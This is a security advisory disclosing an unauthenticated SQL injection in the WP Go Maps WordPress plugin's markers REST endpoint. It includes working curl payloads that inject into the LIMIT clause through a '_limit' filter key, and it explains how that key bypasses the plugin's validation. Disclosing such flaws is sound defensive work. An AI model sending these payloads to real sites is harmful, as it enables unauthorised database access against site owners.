WP Go Maps < 10.1.04 – Unauthenticated SQL Injection via Markers REST filter | CVE 2026-15381

Description

The plugin does not properly sanitise and escape a parameter before using it in a SQL query, allowing unauthenticated users to perform SQL injection attacks.

Proof of Concept

A single unauthenticated GET request (no cookies, no nonce). The plugin ships with a default example marker, so the markers query returns a row out of the box. The injected value is placed after LIMIT in that query; a differential proves attacker SQL is concatenated raw:

# Baseline - returns one marker (HTTP 200):
curl -sG 'https://victim.example/wp-json/wpgmza/v1/markers' --data-urlencode 'filter={"_limit":"0,1"}'

# Valid trailing SQL (a comment) - still returns the marker, so the input reached the query:
curl -sG 'https://victim.example/wp-json/wpgmza/v1/markers' --data-urlencode 'filter={"_limit":"0,1-- -"}'

# Invalid trailing token - the injected ZZZ breaks the SQL, the query fails and an empty result [] is returned:
curl -sG 'https://victim.example/wp-json/wpgmza/v1/markers' --data-urlencode 'filter={"_limit":"0,1 ZZZ"}'

The key "_limit" (with a leading underscore) bypasses the plugin's numeric guard, and the un-anchored limit validation accepts any value containing an "N,N" substring, so the value is concatenated raw after LIMIT and executed. The difference between a valid trailing payload (returns the marker) and an invalid one (returns []) confirms unauthenticated SQL injection into the LIMIT clause.